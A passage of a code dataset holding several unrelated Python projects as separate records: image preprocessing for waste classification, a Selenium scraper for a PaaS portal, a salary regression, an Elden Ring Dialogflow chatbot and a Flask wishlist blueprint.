resize_file(img):\n # input is cv2 image\n resized = cv2.resize(img, (config.PHOTO_WIDTH, config.PHOTO_HEIGHT))\n return resized\n\n\ndef prepare_directories(src_dir, tgt_dir):\n\n # cannot use one function to delete all files under directory like rm -rf\n if tgt_dir.is_dir() and len([x for x in tgt_dir.iterdir()]) != 0:\n shutil.rmtree(tgt_dir)\n elif tgt_dir.is_dir():\n pathlib.Path(tgt_dir).rmdir()\n\n pathlib.Path(f'{tgt_dir}/train').mkdir(parents=True, exist_ok=False)\n pathlib.Path(f'{tgt_dir}/test').mkdir(parents=True, exist_ok=False)\n for label in os.listdir(f'{src_dir}/train'):\n pathlib.Path(f'{tgt_dir}/train/{label}').mkdir()\n pathlib.Path(f'{tgt_dir}/test/{label}').mkdir()\n\n\ndef prepare_dirs_for_binary_models(target_path):\n # binary classification assumption is to make separate models for every waste fraction, hence we need to have two\n # catalogs for every label this is: \"label\" and \"everything but label\"\n train_labels = [label_path for label_path in pathlib.Path(target_path, 'train').iterdir()]\n test_labels = [label_path for label_path in pathlib.Path(target_path, 'test').iterdir()]\n labels = train_labels + test_labels\n for label in labels:\n catalog_path = pathlib.Path(label.parents[1], f'{label.parent.name}_all_but_{label.name}')\n catalog_path.mkdir()\n pathlib.Path(catalog_path, label.name).mkdir()\n pathlib.Path(catalog_path, f'not_{label.name}').mkdir()\n\n\ndef save_imgs_to_binary_catalogs(img, target_path, label, filename, use_skimage):\n # function distributes images to all_but_dirs - for x label: in all_but_{x} puts to catalog {x} and in all_but_{y}\n # puts to not_{y} catalog\n not_dirs = [path for path in target_path.iterdir()\n if label not in path.name and path.name != 'train' and path.name != 'test']\n\n proper_dirs = [path for path in target_path.iterdir()\n if label in path.name and path.name != 'train' and path.name != 'test']\n\n for all_but_dir in not_dirs:\n not_dir = f'{all_but_dir}/not_{all_but_dir.name.split(\"_\")[-1]}'\n not_dir_file_path = f'{not_dir}/{filename}'\n if use_skimage:\n skimage.io.imsave(str(not_dir_file_path), img)#img.astype(np.uint8))\n # skimage.io.imsave(str(not_dir_file_path), img.astype(np.uint8))\n else:\n cv2.imwrite(not_dir_file_path, img)\n\n for proper_dir in proper_dirs:\n label_dir = f'{proper_dir}/{proper_dir.name.split(\"_\")[-1]}'\n file_path = f'{label_dir}/{filename}'\n if use_skimage:\n skimage.io.imsave(str(file_path), img) # img.astype(np.uint8))\n # skimage.io.imsave(str(file_path), img.astype(np.uint8))\n else:\n cv2.imwrite(file_path, img)\n\n\ndef balance_binary_datasets(target_path):\n # in order to binary dataset not being unbalanced gonna trim {not_label} dir to the length of {label} dir\n\n for binary_dataset in target_path.iterdir():\n if binary_dataset.name == 'train' or binary_dataset.name == 'test':\n continue\n\n label_path = binary_dataset / binary_dataset.name.split('_')[-1]\n all_but_path = binary_dataset / f'not_{binary_dataset.name.split(\"_\")[-1]}'\n files_in_label_catalog = len(list(label_path.iterdir()))\n files_in_but_catalog = len(list(all_but_path.iterdir()))\n\n if files_in_label_catalog >= files_in_but_catalog:\n continue\n\n indexes_to_keep = random.sample(range(files_in_but_catalog), files_in_label_catalog)\n\n idx = -1\n for img in all_but_path.iterdir():\n idx += 1\n if idx in indexes_to_keep:\n continue\n else:\n img.unlink()\n\n\nclass DataManager:\n\n def __init__(self, data_path, cnn: 'string', transform_type: str = 'test',\n batch_size: int = 10, grayscale: bool = True):\n self.data_path = data_path\n self.batch_size = batch_size\n self.grayscale = grayscale\n self.num_of_classes = None\n self.dataloader = None\n self.image_folder = None\n if self.grayscale:\n # norm_mean = 0.485\n norm_mean = 0.3276\n # norm_std = 0.229\n norm_std = 0.1824\n else:\n # norm_mean = [0.485, 0.456, 0.406]\n norm_mean = [0.2200, 0.0655, 0.0440]\n # norm_std= [0.229, 0.224, 0.225]\n norm_std = [0.1078, 0.0844, 0.0549]\n\n nn_input_size = 299 if cnn == 'incpetion' else (384, 512)\n\n if transform_type == 'test':\n transforms_list = [\n transforms.Resize(nn_input_size),\n transforms.CenterCrop(nn_input_size),\n transforms.ToTensor(),\n transforms.Normalize(norm_mean, norm_std)\n ]\n else:\n transforms_list = [\n transforms.Resize(nn_input_size),\n transforms.RandomRotation(45),\n transforms.RandomHorizontalFlip(),\n transforms.RandomVerticalFlip(),\n transforms.CenterCrop(nn_input_size), # 384, 512\n transforms.ToTensor(),\n transforms.Normalize(norm_mean, norm_std)\n ]\n if self.grayscale:\n transforms_list.append(transforms.Grayscale())\n\n self.transform = transforms.Compose(transforms_list)\n\n def return_dataset_and_loader(self, manual_seed: int = 42, return_loader: bool = True, shuffle: bool = True):\n\n data = datasets.ImageFolder(self.data_path, transform=self.transform)\n\n torch.manual_seed(manual_seed)\n if return_loader:\n loader = DataLoader(data, batch_size=self.batch_size, shuffle=shuffle)\n self.dataloader = loader\n self.image_folder = data\n return loader, data\n\n self.image_folder = data\n return data\n\n def return_dataset_and_laoder_of_n_photos(self, n: int, display_photos: bool = True, shuffle: bool = True):\n\n data = datasets.ImageFolder(self.data_path, transform=self.transform)\n data = torch.utils.data.Subset(data, np.random.choice(len(data), n))\n\n loader = DataLoader(data, self.batch_size, shuffle=shuffle)\n\n return data, loader\n\n def get_number_of_classes(self):\n num_of_classes = len(next(os.walk(self.data_path))[1])\n self.num_of_classes = num_of_classes\n\n return num_of_classes\n\n\nif __name__ == '__main__':\n # read_to_loader_n_photos('/home/peprycy/WasteClassifier/Data/TrashNet', 5)\n prepare_dataset(config.SPLIT_IMAGES_PATH, config.PREPROCESSED_IMAGES_PATH, 2, hog_transformed=False)\n","repo_name":"PatrycyD/WasteClassifier","sub_path":"WasteClassifier/preprocessing/images_preprocessing.py","file_name":"images_preprocessing.py","file_ext":"py","file_size_in_byte":10502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"34151682475","text":"import json\nimport os\nfrom selenium import webdriver\nimport time\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\n\n\n# 获取cookie\ndef get_coo(driver):\n # 使用json读取cookies\n with open('cookie.json', 'r') as f:\n json_cookies = f.read()\n cookie_list = json.loads(json_cookies)\n # 将cookie添加到请求头中\n for cookie in cookie_list:\n # 复制cookie字典\n cookie_dict = cookie.copy()\n # 添加cookie到请求头中\n driver.add_cookie({'name': 'SESSION', 'value': cookie_dict['value']})\n driver.get(\"http://www.ctgpaas.cn:9000/paas/cloudportal/site/\")\n\n\n# 通过元素XPATH判断是否存在该元素\ndef getElementExistanceByXPATH(driver, element_XPATH):\n element_existance = True\n\n try:\n # 尝试寻找元素,如若没有找到则会抛出异常\n element = driver.find_element(By.XPATH, element_XPATH)\n except:\n element_existance = False\n\n return element_existance\n\n\n# 遍历无状态列表中的内容\ndef get_Stateless_List(driver, space_name):\n next = 0\n while True:\n # 打开工作负载中的名称\n test_name = driver.find_elements(By.XPATH,\n \"/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div[1]/div[\"\n \"3]/table/tbody//button[@class='el-button el-button--text \"\n \"el-button--small']\")\n print(\"工作负载:\", len(test_name))\n for x in range(len(test_name)):\n time.sleep(0.5)\n name = test_name[x].text\n if not os.path.exists(f'{space_name}/{name}'):\n os.makedirs(f'{space_name}/{name}')\n print('名称:' + name)\n test_name[x].click()\n time.sleep(0.5)\n # 判断是否有数据\n if not getElementExistanceByXPATH(driver, '//*[@id=\"pane-pod\"]/div/div[1]/div[3]/div/span'):\n # 打开表格\n pod_out = driver.find_element(by=By.XPATH,\n value='//*[@id=\"pane-pod\"]/div/div[1]/div[3]/table/tbody/tr[1]/td['\n '1]/div/div/i')\n pod_out.click()\n # # pod列表\n # pod_list = driver.find_elements(by=By.XPATH, value='//*[@id=\"pane-pod\"]/div/div[1]/div['\n # '3]/table/tbody/tr[2]/td/div/div['\n # '3]/table/tbody//div[@class=\"cell\"]')\n # print(len(pod_list))\n # plist = []\n # for s in range(0, len(pod_list), 7):\n # print(s, pod_list[s].text)\n # dic = {'容器名称': pod_list[s].text, '容器ID': pod_list[s + 1].text,\n # '镜像版本号': pod_list[s + 2].text,\n # '重启次数': pod_list[s + 3].text, 'CPU': pod_list[s + 4].text, '内存': pod_list[s + 5].text,\n # '状态': pod_list[s + 6].text}\n # plist.append(dic)\n # json_plist = json.dumps(plist, ensure_ascii=False)\n # with open(f'{space_name}/{name}/pod.json', 'w') as f:\n # f.write(json_plist)\n #\n # # 日志\n # diary_btn = driver.find_element(by=By.ID, value='tab-log')\n # diary_btn.click()\n # time.sleep(1)\n # diary = driver.find_element(By.TAG_NAME, \"code\")\n # diary_list = json.dumps(diary.text.split('\\n'))\n # with open(f'{space_name}/{name}/diary.json', 'w') as f:\n # f.write(diary_list)\n # # 转到监控页面\n # mon_btn = driver.find_element(By.ID, 'tab-monitor')\n # mon_btn.click()\n # time.sleep(1)\n # # 找到canvas元素和tooltip元素\n # canvas = driver.find_elements(By.TAG_NAME, \"canvas\")\n # tooltip = driver.find_elements(By.XPATH, '//div[@class=\"g2-tooltip\"]')\n # print(len(canvas), len(tooltip))\n # get_canvas(driver, canvas, tooltip, space_name, name)\n driver.back()\n # 判断是否需要翻页\n next_page = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div['\n '2]/div[2]/button[2]')\n if next_page.is_enabled():\n for n in range(next):\n ActionChains(driver).move_to_element(next_page)\n next_page.click()\n else:\n break\n next += 1\n\n\n# 在命名空间中打开wict\ndef get_wict(driver, space_name):\n # 打开工作负载中的名称\n wict_list = []\n gzxwictapp = driver.find_element(By.XPATH, \"/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div[\"\n \"1]/div[3]/table/tbody/tr[4]/td[2]/div/button\")\n gzxwictback = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div['\n '1]/div[3]/table/tbody/tr[5]/td[2]/div/button')\n gzxwictfront = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div['\n '1]/div[3]/table/tbody/tr[6]/td[2]/div/button')\n wict_list.append(gzxwictapp)\n wict_list.append(gzxwictback)\n wict_list.append(gzxwictfront)\n print(\"工作负载:\", len(wict_list))\n for x in range(len(wict_list)):\n time.sleep(0.5)\n # 翻页\n next_page = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div['\n '2]/div[2]/button[2]/i')\n\n ActionChains(driver).move_to_element(next_page).perform()\n next_page.click()\n time.sleep(0.5)\n name = wict_list[x].text\n if not os.path.exists(f'{space_name}/{name}'):\n os.makedirs(f'{space_name}/{name}')\n print('名称:' + name)\n wict_list[x].click()\n # # 打开表格\n # pod_out = driver.find_element(by=By.XPATH,\n # value='//*[@id=\"pane-pod\"]/div/div[1]/div[3]/table/tbody/tr[1]/td['\n # '1]/div/div/i')\n # pod_out.click()\n # time.sleep(1)\n # # pod列表\n # pod_list = driver.find_elements(by=By.XPATH, value='//*[@id=\"pane-pod\"]/div/div[1]/div[3]/table/tbody/tr['\n # '2]/td/div/div[3]/table/tbody//div[@class=\"cell\"]')\n # print(len(pod_list))\n # plist = []\n # for s in range(0, len(pod_list), 7):\n # print(s, pod_list[s].text)\n # dic = {'容器名称': pod_list[s].text, '容器ID': pod_list[s + 1].text, '镜像版本号': pod_list[s + 2].text,\n # '重启次数': pod_list[s + 3].text, 'CPU': pod_list[s + 4].text, '内存': pod_list[s + 5].text,\n # '状态': pod_list[s + 6].text}\n # plist.append(dic)\n # json_plist = json.dumps(plist, ensure_ascii=False)\n # with open(f'{space_name}/{name}/pod.json', 'w') as f:\n # f.write(json_plist)\n #\n # # 日志\n # diary_btn = driver.find_element(by=By.ID, value='tab-log')\n # diary_btn.click()\n # time.sleep(1)\n # diary = driver.find_element(By.TAG_NAME, \"code\")\n # diary_list = json.dumps(diary.text.split('\\n'))\n # with open(f'{space_name}/{name}/diary.json', 'w') as f:\n # f.write(diary_list)\n # 转到监控页面\n\n con_btn = driver.find_element(By.XPATH, '//*[@id=\"pane-monitor\"]/div/form/div[1]/div/div/label[2]')\n con_btn.click()\n time.sleep(2)\n canvas_container = driver.find_elements(By.TAG_NAME, \"canvas\")\n tooltip_container = driver.find_elements(By.XPATH, '//div[@class=\"g2-tooltip\"]')\n print(len(canvas_container), len(tooltip_container))\n\n driver.back()\n\n\n# 进入命名空间\ndef get_namespace(driver):\n # 进入命名空间\n namespace_btn = driver.find_element(by=By.XPATH, value=\"/html/body/div[2]/div/div/div[1]/div/aside/div/ul/li[3]\")\n namespace_btn.click()\n time.sleep(1)\n # 选择命名空间\n small_btn = driver.find_elements(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div[2]/div[1]//div['\n '@class=\"el-table__body-wrapper is-scrolling-none\"]/table/tbody/tr/td['\n '1]//button')\n for s in range(len(small_btn)):\n space_name = small_btn[s].text\n print(\"命名空间\" + space_name)\n small_btn[s].click()\n if not os.path.exists(f'{space_name}'):\n os.makedirs(space_name)\n\n # # 打开基本信息\n # inf_btn = driver.find_element(by=By.XPATH, value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div['\n # '1]/div/div/div[1]/div[1]/span[2]')\n # inf_btn.click()\n # # 爬取基本信息\n # label = driver.find_elements(by=By.XPATH, value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div['\n # '2]/div/div/form/div[8]/div/div//label')\n # inf = driver.find_elements(by=By.XPATH, value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div['\n # '2]/div/div/form/div[8]/div/div//span')\n # inf_list = []\n # label_list = []\n # for l in range(len(label)):\n # inf_list.append(inf[2 * l].text + ' ' + inf[2 * l + 1].text)\n # label_list.append(label[l].text)\n # inf_dic = dict(zip(label_list, inf_list))\n # inf_json = json.dumps(inf_dic, ensure_ascii=False)\n # with open(f'{space_name}/inf.json', 'w') as f:\n # f.write(inf_json)\n\n # 打开工作负载\n workload = driver.find_element(by=By.XPATH,\n value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[1]/div/div/div['\n '2]/div[1]/span[1]')\n workload.click()\n\n # 打开无状态列表\n node = driver.find_element(by=By.XPATH,\n value=\"/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[1]/div/div/div[2]/div[\"\n \"2]/div[1] \"\n )\n node.click()\n get_wict(driver, space_name)\n driver.get('http://www.ctgpaas.cn:9000/paas/dcos/2.7.10/?ctxPath=dcos#/namespace/namespace-list')\n\n\n# 爬取信息\ndef get_inf(driver):\n # 打开管理中心\n manage_btn = driver.find_element(by=By.XPATH, value=\"/html/body/div/div[1]/header/div[2]/div/ul/li[1]/a\")\n manage_btn.click()\n time.sleep(2)\n # 进入容器\n el_link = driver.find_element(by=By.XPATH,\n value=\"/html/body/div[2]/div/div[2]/div[2]/div/div/div[2]/div/div/div/div[1]/div[\"\n \"2]/div/div/div[2]/div/div[2]/span/div[4]/a\")\n if not el_link.is_displayed():\n open_btn = driver.find_element(by=By.XPATH, value='//*[@id=\"app\"]/div/div[2]/div[2]/div/div/div['\n '2]/div/div/div/div[1]/div[2]/div/div/div[2]/div/div['\n '1]/h3/button')\n open_btn.click()\n el_link.click()\n time.sleep(2)\n\n windows = driver.window_handles\n driver.switch_to.window(windows[-1])\n\n # 进入命名空间\n namespace_btn = driver.find_element(by=By.XPATH, value=\"/html/body/div[2]/div/div/div[1]/div/aside/div/ul/li[3]\")\n namespace_btn.click()\n time.sleep(1)\n while True:\n get_namespace(driver)\n time.sleep(10)\n\n\n\n\n\nchrome_options = Options()\nchrome_options.add_experimental_option(\"detach\", True)\n\ndriver = webdriver.Chrome(options=chrome_options)\ndriver.get(\"http://www.ctgpaas.cn:9000/paas/cloudportal/site/\")\ndriver.maximize_window()\ndriver.implicitly_wait(5)\nget_coo(driver)\nget_inf(driver)\n","repo_name":"VanDrans/Selenium","sub_path":"翼龙数据爬取/wict.py","file_name":"wict.py","file_ext":"py","file_size_in_byte":12508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"12645651556","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n#import the dataset\ndf = pd.read_csv(\"Salary_Data.csv\")\ndf.head()\n# Check for missing Data\ndf.isnull().sum()\nx = df[\"YearsExperience\"]\ny = df[\"Salary\"]\nplt.scatter(x,y)\nplt.xlim(0,)\nplt.ylim(0,)\nplt.xlabel(\"Experience\")\nplt.ylabel(\"Salary\")\nplt.show()\n\n#Train Test Split\nfrom sklearn.model_selection import train_test_split\nX = df.iloc[:,:-1].values\nY = df.iloc[:,1].values\nX_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size=0.2, random_state = 0)\n\n#Fitting Simple Linear Regression Model\nfrom sklearn.linear_model import LinearRegression\nlr = LinearRegression()\nlr.fit(X_train,Y_train)\n\n#Predicting for X_test\nY_pred = lr.predict(X_test)\n#Visualize\nplt.scatter(X_train,Y_train, color = 'red')\nplt.plot(X_train,lr.predict(X_train),color = 'blue') ##Regression Line\nplt.title(\"Salary v/s Experience (Training Set)\")\nplt.xlabel(\"Years Of Experience\")\nplt.ylabel(\"Salary\")\nplt.show()\n\n#Test Data Visualization\nplt.scatter(X_test,Y_test, color = 'red')\nplt.plot(X_test,Y_pred,color = 'blue') ##Regression Line\nplt.title(\"Salary v/s Experience (Test Set)\")\nplt.xlabel(\"Years Of Experience\")\nplt.ylabel(\"Salary\")\nplt.show()\n # Accuracy\nrss=((Y_test-Y_pred)**2).sum()\nmse=np.mean((Y_test-Y_pred)**2)\nprint(\"Final rmse value is =\",np.sqrt(np.mean((Y_test-Y_pred)**2)))\n\nfrom sklearn.metrics import mean_squared_error\nmean_squared_error(Y_test,Y_pred)\n\n# Result : RMSE = 3580.979237321343\n","repo_name":"Lohomi/Analytics","sub_path":"Linear.py","file_name":"Linear.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"819911123","text":"import heapq\nimport os\nimport uuid\nimport csv\nimport re\nimport nltk\nimport numpy as np\nfrom nltk import pos_tag\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom google.cloud import dialogflow_v2 as dialogflow\nfrom eldenbot_api_calls import (get_class_comparison, get_boss_info,\n get_lvl_recommendations, get_weapon_help,\n get_class_info, get_stats_help,\n get_item_info, get_build_help)\n\nAPI_KEY_PATH = './API KEY GOES HERE' # replace this line with the path to your own API Key\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = API_KEY_PATH\nproject_id = 'eldenbot-tbwr'\nsession_id = str(uuid.uuid4())\nDATABASE_PATH = 'user_database.csv'\nCONVERSATION_LOG = 'conversation_log.txt'\n\n\ndef append_to_log(text, logfile):\n \"\"\"\n Functions that logs user interactions to the log\n \"\"\"\n with open(logfile, \"a\") as f:\n f.write(text)\n if not text.endswith(\"\\n\"):\n f.write(\"\\n\")\n\n\ndef top_tfidf_words(filename, n_words=3):\n \"\"\"\n Does TF-IDF and gets the the top three most common words\n \"\"\"\n with open(filename, 'r') as f:\n text = f.read()\n\n # Tf-Idf stats only displays if the user has typed enough words\n words = text.split()\n if len(words) < 3:\n return []\n\n vectorizer = TfidfVectorizer(stop_words='english')\n tfidf_matrix = vectorizer.fit_transform([text])\n feature_names = vectorizer.get_feature_names_out()\n tfidf_scores = tfidf_matrix.toarray().flatten()\n top_indices = heapq.nlargest(n_words, range(len(tfidf_scores)), key=tfidf_scores.__getitem__)\n top_words = [feature_names[i] for i in top_indices]\n top_scores = [tfidf_scores[i] for i in top_indices]\n \n # prints the top words tf-idf scores and their corresponding terms\n print(f\"Top {n_words} TF-IDF Words:\")\n for i in range(n_words):\n print(f\"{i+1}. Word: {top_words[i]}, TF-IDF Score: {top_scores[i]}\")\n \n return top_words\n\n\ndef initialize_database(file_path):\n \"\"\"\n Function that takes a CSV file path as input\n and returns a dictionary containing each user info and their saved information\n \"\"\"\n db = {}\n with open(file_path, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n name = row['Name']\n class_name = row['Class']\n level = row['Level']\n if name in db:\n db[name].append([class_name, level])\n else:\n db[name] = [[class_name, level]]\n return db\n\n\ndef extract_name(sentence):\n \"\"\"\n Uses NLTK to extract a name from a sentence and returns it\n \"\"\"\n # Tokenize input\n words = nltk.word_tokenize(sentence)\n\n # Extract proper nouns from sentence using POS tagging\n pos_tags = pos_tag(words)\n proper_nouns = [word for word, tag in pos_tags if tag in ['NNP', 'NNPS', 'NNP$']]\n\n # Get first name\n if proper_nouns:\n return proper_nouns[0]\n else:\n raise ValueError('No name found in input sentence. Thanks NLTK :(')\n\n\ndef get_response_with_intent(project_id, session_id, text, intent_name):\n \"\"\"\n Use this whenever we need to get a response based on the intent\n \"\"\"\n session_client = dialogflow.SessionsClient()\n session = session_client.session_path(project_id, session_id)\n\n text_input = dialogflow.TextInput(text=text, language_code='en-US')\n query_input = dialogflow.QueryInput(text=text_input)\n\n response = session_client.detect_intent(\n session=session,\n query_input=query_input,\n intent_name=intent_name\n )\n\n return response\n\n\ndef get_response(project_id, session_id, text):\n \"\"\"\n Gets the API response from dialogflow and returns it\n as a dictionary\n \"\"\"\n session_client = dialogflow.SessionsClient()\n session = session_client.session_path(project_id, session_id)\n text_input = dialogflow.TextInput(text=text, language_code='en-US')\n query_input = dialogflow.QueryInput(text=text_input)\n response = session_client.detect_intent(session=session, query_input=query_input)\n\n response_dict = {\n 'query_text': response.query_result.query_text,\n 'speech_recognition_confidence': response.query_result.speech_recognition_confidence,\n 'action': response.query_result.action,\n 'all_required_params_present': response.query_result.all_required_params_present,\n 'fulfillment_text': response.query_result.fulfillment_text,\n 'fulfillment_messages': response.query_result.fulfillment_messages,\n 'output_contexts': response.query_result.output_contexts,\n 'intent': response.query_result.intent,\n 'intent_detection_confidence': response.query_result.intent_detection_confidence,\n 'diagnostic_info': response.query_result.diagnostic_info,\n 'sentiment_analysis_result': response.query_result.sentiment_analysis_result,\n }\n return response_dict\n\n\ndef extract_user_info(text):\n \"\"\"\n Function that takes the successful user creation response\n and stores it in a set\n \"\"\"\n regex = r\"^Awesome, you are (\\w+), your level is (\\d+) and you play as a (\\w+)$\"\n match = re.match(regex, text)\n if match:\n person = match.group(1)\n level = int(match.group(2))\n character_class = match.group(3)\n return (person, level, character_class)\n else:\n raise ValueError(\"Something went wrong, rerun and try again\")\n\n\ndef add_user_to_database(file_path, username, userlevel, userclass):\n \"\"\"\n Adds a new user to the CSV\n \"\"\"\n with open(file_path, mode='a', newline='') as file:\n writer = csv.writer(file)\n file.write('\\n')\n writer.writerow([username, userclass, userlevel])\n\n\ndef get_stats_from_csv(username):\n \"\"\"\n Adds a new user to the CSV\n \"\"\"\n data = current_database[username]\n print(\"Level : \" + str(data[0][1]))\n print(\"Class : \" + str(data[0][0]))\n return username, data[0][0], data[0][1]\n\n\ndef update_level(newlevel, username):\n \"\"\"\n Changes the level of the user in the database\n can only be called for users already there\n \"\"\"\n with open(DATABASE_PATH, 'r') as csvfile:\n reader = csv.DictReader(csvfile)\n data = {row['Name']: [[row['Class'], row['Level']]] for row in reader}\n\n data[username][0][1] = newlevel\n\n with open(DATABASE_PATH, 'w', newline='') as csvfile:\n fieldnames = ['Name', 'Class', 'Level']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for name, info in data.items():\n row = {'Name': name, 'Class': info[0][0], 'Level': info[0][1]}\n writer.writerow(row)\n\n print(f\"{username}'s level has been updated to {newlevel} in the CSV file\")\n\n\ndef handle_who_is_boss_intent(response_dict):\n \"\"\"\n Function to create a follow up question if the user doesnt' give use the\n needed information\n \"\"\"\n if response_dict['fulfillment_text'] != 'Which boss would you like to learn about?':\n boss_name = response_dict['fulfillment_text']\n print('EldenBot: ' + get_boss_info(boss_name))\n else:\n print('EldenBot: ' + response_dict['fulfillment_text'])\n\n\ndef handle_what_is_item_intent(response_dict):\n \"\"\"\n Function to create a follow up question if the user doesnt' give use the\n needed information\n \"\"\"\n if response_dict['fulfillment_text'] != 'Which item would you like to learn about?':\n item_name = response_dict['fulfillment_text']\n print('EldenBot: ' + get_item_info(item_name))\n else:\n print('EldenBot: ' + response_dict['fulfillment_text'])\n\n\ndef handle_compare_classes_intent(response_dict):\n \"\"\"\n Function to create a follow up question if the user doesnt' give use the\n needed information\n \"\"\"\n if response_dict['fulfillment_text'] != 'Which classes would you like to compare?':\n tokens = response_dict['fulfillment_text'].split()\n class1 = tokens[0]\n class2 = tokens[2]\n print('EldenBot: ' + get_class_comparison(class1, class2))\n else:\n print('EldenBot: ' + response_dict['fulfillment_text'])\n \n\nif os.path.exists(CONVERSATION_LOG):\n # If the file exists, open it in write mode to delete everything in it\n with open(CONVERSATION_LOG, \"w\") as f:\n pass # Pass is a placeholder that does nothing\n\n'''\n Here we gather information about the user to check if they are on\n the database and if not we add them to the database so we can \n keep track of their data\n'''\ncurrent_database = initialize_database(DATABASE_PATH)\n\nprint('EldenBot: Hi I\\'m EldenBot! I am ready to assist you with the game of Elden Ring')\nprint('EldenBot: Before we start, what is your name?')\ntext = input('You: ')\nusername = extract_name(text)\nprint('username: ', username)\nuserclass = \"\"\nuserlevel = \"\"\nif username in current_database:\n print(\"Welcome back \" + username)\n print(\"Here are your stats: \")\n username, userclass, userlevel = get_stats_from_csv(username)\nelse:\n regex = r\"^Awesome, you are (\\w+), your level is (\\d+) and you play as a (\\w+)$\"\n response_dict = get_response(project_id, session_id, text)\n response_text = response_dict['fulfillment_text']\n print('EldenBot: ' + response_text)\n while userlevel == \"\" and userclass == \"\":\n text = input('You: ')\n response_dict = get_response(project_id, session_id, text)\n response_text = response_dict['fulfillment_text']\n if re.match(regex, response_text):\n username, userlevel, userclass = extract_user_info(response_text)\n add_user_to_database('user_database.csv', username, userlevel, userclass)\n print('EldenBot: ' + response_text)\n\n'''\n ChatBot Conversation begins here\n the user may ask any questions\n'''\nprint(\"What can I do for you today?\")\nwhile True:\n text = input('You: ')\n if text.upper() == 'STOP':\n print('EldenBot: Goodbye!')\n break\n append_to_log(text, CONVERSATION_LOG)\n\n response_dict = get_response(project_id, session_id, text) # The response from the bot is held here\n '''\n Maps functions to intent \n For example: If the user asks about weapons, we call get_weapon_help() \n which will create a text response EldenBot can print to the console\n '''\n intent_functions = {\n 'Who is boss?': lambda: handle_who_is_boss_intent(response_dict),\n 'What is item?': lambda: handle_what_is_item_intent(response_dict),\n 'class info': lambda: print('EldenBot: ' + get_class_info(response_dict['fulfillment_text'])),\n 'compare classes': lambda: handle_compare_classes_intent(response_dict),\n 'build help': lambda: print(\n 'EldenBot: Since you are playing as a ' + userclass + ' considering focusing on the following:\\n ' +\n get_build_help(userclass)),\n 'stat help': lambda: print('EldenBot: ' + get_stats_help(userclass)),\n 'Weapon help': lambda: print('EldenBot: ' + get_weapon_help(userclass)),\n 'lvl recommendations': lambda: print('EldenBot: ' + get_lvl_recommendations(userlevel)),\n 'update level': lambda: update_level(response_dict['fulfillment_text'], username)\n }\n\n '''\n Based on Dialog flow response we find what the intent of the user is\n and we call the intent function needed. If the intent isn't found\n we reply with a generic response\n '''\n intent_name = response_dict['intent'].display_name\n if intent_name in intent_functions:\n intent_functions[intent_name]()\n else:\n response_text = response_dict['fulfillment_text']\n print('EldenBot: ' + response_text)\nprint(top_tfidf_words(CONVERSATION_LOG))","repo_name":"Tarzerk/NLP-Portfolio","sub_path":"09 - Chatbot/eldenbot.py","file_name":"eldenbot.py","file_ext":"py","file_size_in_byte":11754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"30585689265","text":"from flask import Blueprint,render_template,request,Flask,session,redirect,url_for\nimport pandas as pd\nfrom datetime import datetime\nfrom openpyxl import load_workbook\nfrom flask_mysqldb import MySQL\nimport MySQLdb.cursors\n\n\nwishlist_blueprint= Blueprint('wishlist_blueprint', __name__)\napp = Flask(__name__)\nmysql = MySQL(app)\n\n# @wishlist_blueprint.route('/addproduct_wishlist', methods=['GET','POST'])\n# def addproduct_wishlist():\n# if request.method == \"POST\":\n# data = request.json\n# if data and \"user_id\" in data and \"product_id\" in data:\n# user_id = data[\"user_id\"]\n# product_id = data[\"product_id\"]\n# cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n# cursor.execute(\n# \"SELECT * FROM user WHERE user_id = %s\",\n# (user_id,),\n# )\n# account = cursor.fetchone()\n# if not account:\n# return {\n# \"status\": \"FAILURE\",\n# \"message\": \"user_id does not exists\",\n# \"data\": \"\",\n# \"traceback\": \"\",\n# }\n# cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n# cursor.execute(\n# \"SELECT * FROM product WHERE product_id = %s\",\n# (product_id,),\n# )\n# account = cursor.fetchone()\n# if not account:\n# return {\n# \"status\": \"FAILURE\",\n# \"message\": \" product_id does not exists\",\n# \"data\": \"\",\n# \"traceback\": \"\",\n# }\n# cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n# cursor.execute(\n# \"SELECT * FROM wishlist WHERE user_id = %s AND product_id=%s\",\n# (user_id, product_id),\n# )\n# account = cursor.fetchone()\n# if account:\n# return {\n# \"status\": \"FAILURE\",\n# \"message\": \"user_id and product_id combination already exists\",\n# \"data\": \"\",\n# \"traceback\": \"\",\n# }\n\n# else:\n# cursor.execute(\n# \"INSERT INTO wishlist(user_id,product_id) VALUES (%s,%s)\",\n# (user_id, product_id),\n# )\n# mysql.connection.commit()\n# return {\n# \"status\": \"SUCESS\",\n# \"message\": \"SUCESSFULLY added to wishlist\",\n# \"data\": \"\",\n# \"traceback\": 